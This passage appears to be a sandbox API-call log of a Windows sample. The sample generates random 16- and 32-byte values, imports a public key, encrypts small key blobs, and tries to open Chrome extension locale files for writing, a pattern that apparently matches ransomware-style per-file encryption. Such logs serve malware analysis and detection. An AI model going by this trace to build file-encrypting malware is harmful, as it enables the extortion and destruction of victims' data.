out: phProv=0x285ca94*=0x5c4760) returned 1 [0235.391] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659b838) returned 1 [0235.391] CryptGetKeyParam (in: hKey=0x659b838, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0235.391] CryptEncrypt (in: hKey=0x659b838, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8890000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x8890000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0235.392] GetLastError () returned 0x0 [0235.392] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0235.392] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\bg\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0235.393] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0235.395] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0235.397] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0235.397] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0235.397] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0235.397] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0235.399] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0235.401] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0235.401] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0235.401] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0235.401] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4980) returned 1 [0235.403] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659b238) returned 1 [0235.403] CryptGetKeyParam (in: hKey=0x659b238, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0235.403] CryptEncrypt (in: hKey=0x659b238, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x88a0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x88a0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0235.403] GetLastError () returned 0x0 [0235.404] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0235.404] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0235.405] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659b138) returned 1 [0235.405] CryptGetKeyParam (in: hKey=0x659b138, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0235.405] CryptEncrypt (in: hKey=0x659b138, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x88b0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x88b0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0235.406] GetLastError () returned 0x0 [0235.406] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0235.406] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ca\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0235.407] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0235.409] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0235.410] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0235.410] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0235.410] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0235.410] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0235.412] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0235.414] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0235.414] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0235.414] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0235.414] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0235.416] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659b3f8) returned 1 [0235.416] CryptGetKeyParam (in: hKey=0x659b3f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0235.416] CryptEncrypt (in: hKey=0x659b3f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x88c0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x88c0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0235.417] GetLastError () returned 0x0 [0235.417] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0235.417] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0235.419] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659b4b8) returned 1 [0235.419] CryptGetKeyParam (in: hKey=0x659b4b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0235.419] CryptEncrypt (in: hKey=0x659b4b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x88d0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x88d0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0235.419] GetLastError () returned 0x0 [0235.419] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0235.419] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\cs\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0235.420] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0235.422] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0235.424] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0235.424] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0235.424] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0235.424] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0235.426] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0235.427] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0235.428] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0235.428] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0235.428] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0235.430] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659b7f8) returned 1 [0235.430] CryptGetKeyParam (in: hKey=0x659b7f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0235.430] CryptEncrypt (in: hKey=0x659b7f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x88e0000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x88e0000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0235.430] GetLastError () returned 0x0 [0235.430] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0235.430] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0235.432] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659b438) returned 1 [0235.432] CryptGetKeyParam (in: hKey=0x659b438, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0235.432] CryptEncrypt (in: hKey=0x659b438, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x88f0000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x88f0000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0235.433] GetLastError () returned 0x0 [0235.433] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0235.433] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0235.433] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0235.436] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0235.437] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0235.437] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0235.437] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0235.437] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0235.439] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0235.440] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0235.440] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0235.440] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0235.440] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0235.443] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659b278) returned 1 [0235.443] CryptGetKeyParam (in: hKey=0x659b278, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0235.443] CryptEncrypt (in: hKey=0x659b278, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8900000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x8900000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0235.443] GetLastError () returned 0x0 [0235.443] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0235.443] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0235.445] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659b178) returned 1 [0235.445] CryptGetKeyParam (in: hKey=0x659b178, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0235.445] CryptEncrypt (in: hKey=0x659b178, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8910000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x8910000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0235.445] GetLastError () returned 0x0 [0235.446] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0235.446] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\de\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0235.447] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4e48) returned 1 [0235.450] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0235.451] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0235.451] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0235.451] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0235.451] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0235.453] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0235.455] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0235.455] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0235.455] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0235.455] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0235.458] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659b0b8) returned 1 [0235.458] CryptGetKeyParam (in: hKey=0x659b0b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0235.458] CryptEncrypt (in: hKey=0x659b0b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8920000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x8920000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0235.458] GetLastError () returned 0x0 [0235.458] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0235.458] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0235.461] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659b3b8) returned 1 [0235.461] CryptGetKeyParam (in: hKey=0x659b3b8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0235.461] CryptEncrypt (in: hKey=0x659b3b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8930000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x8930000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0235.461] GetLastError () returned 0x0 [0235.461] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0235.461] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0235.462] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0235.465] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0235.467] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0235.467] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0235.467] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0235.467] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0235.469] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0235.471] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0235.471] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0235.471] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0235.471] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0235.474] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659b478) returned 1 [0235.474] CryptGetKeyParam (in: hKey=0x659b478, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0235.474] CryptEncrypt (in: hKey=0x659b478, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8940000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x8940000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0235.475] GetLastError () returned 0x0 [0235.475] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0235.475] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4e48) returned 1 [0235.477] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659b4f8) returned 1 [0235.477] CryptGetKeyParam (in: hKey=0x659b4f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0235.477] CryptEncrypt (in: hKey=0x659b4f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8950000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x8950000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0235.477] GetLastError () returned 0x0 [0235.477] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0235.477] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_GB\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_gb\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0235.479] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4980) returned 1 [0235.481] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0235.483] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0235.483] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285cbf4 | out: pbBuffer=0x285cbf4) returned 1 [0235.483] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0235.483] CryptAcquireContextW (in: phProv=0x285caa4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285caa4*=0x5c4760) returned 1 [0235.486] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0235.488] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0235.488] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285cbc0 | out: pbBuffer=0x285cbc0) returned 1 [0235.488] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0235.488] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0235.491] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659b678) returned 1 [0235.491] CryptGetKeyParam (in: hKey=0x659b678, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0235.491] CryptEncrypt (in: hKey=0x659b678, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8960000*, pdwDataLen=0x285cc0c*=0xc8, dwBufLen=0x800 | out: pbData=0x8960000*, pdwDataLen=0x285cc0c*=0x100) returned 1 [0235.491] GetLastError () returned 0x0 [0235.491] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0235.491] CryptAcquireContextW (in: phProv=0x285ca94, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ca94*=0x5c4760) returned 1 [0235.494] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ca98 | out: phKey=0x285ca98*=0x659b1f8) returned 1 [0235.494] CryptGetKeyParam (in: hKey=0x659b1f8, dwParam=0x8, pbData=0x285ca84, pdwDataLen=0x285ca8c, dwFlags=0x0 | out: pbData=0x285ca84*=0x800, pdwDataLen=0x285ca8c*=0x4) returned 1 [0235.494] CryptEncrypt (in: hKey=0x659b1f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8970000*, pdwDataLen=0x285cc10*=0xc8, dwBufLen=0x800 | out: pbData=0x8970000*, pdwDataLen=0x285cc10*=0x100) returned 1 [0235.494] GetLastError () returned 0x0 [0235.494] CryptReleaseContext 